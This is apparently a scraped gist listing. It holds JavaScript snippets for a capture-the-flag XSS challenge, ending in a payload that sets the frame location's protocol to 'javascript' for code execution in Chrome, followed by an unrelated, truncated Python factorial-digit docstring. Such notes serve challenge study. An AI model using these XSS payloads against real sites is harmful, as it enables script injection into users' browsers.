- Category: Web
- Impact: Medium
- Solves: 35
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
xss = "'\xff'.codePointAt()"; // To obtain the number 255 | |
xss = "Date.length"; // To obtain the digit 7 | |
xss = "''+RegExp()"; // To return the pattern string "/(?:)/" | |
xss = "''.split('')"; // To get an empty array as `Array []` (from https://github.com/denysdovhan/wtfjs) | |
xss = "history.length"; // To get any number per page interaction, useful to avoid using like single quotes | |
xss = "localStorage.x"; // From the user `localStorage` who will retrieve any contained value from the `x` key | |
xss = "origin.match()"; // To get an array of one element as `['',index:0,input:'https://challenge-0523.intigriti.io',groups:undefined]` | |
xss = "(''+RegExp()).at()"; // To return a slash string "/" with only 18 allowed characters | |
xss = "(''+RegExp()).at()+(''+RegExp('t.ly'))+'testing'"; // To get a valid URL like "//t.ly/testing" of an URL shortener | |
xss = "with(Reflect)set(get(frames,'locatio'+'n'),'pr\otocol','javascri\pt')"; // To get a XSS arbitrary code on `Chrome` with some url p |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This code provides functions to find the last nonzero values of a positive factorial. | |
""" | |
def f(n: int, k: int) -> int: | |
""" | |
Returns the k last nonzero digits. | |
.. note:: | |
As f(10**100, 13) is a Googolbang where the 13 last nonzero |
NewerOlder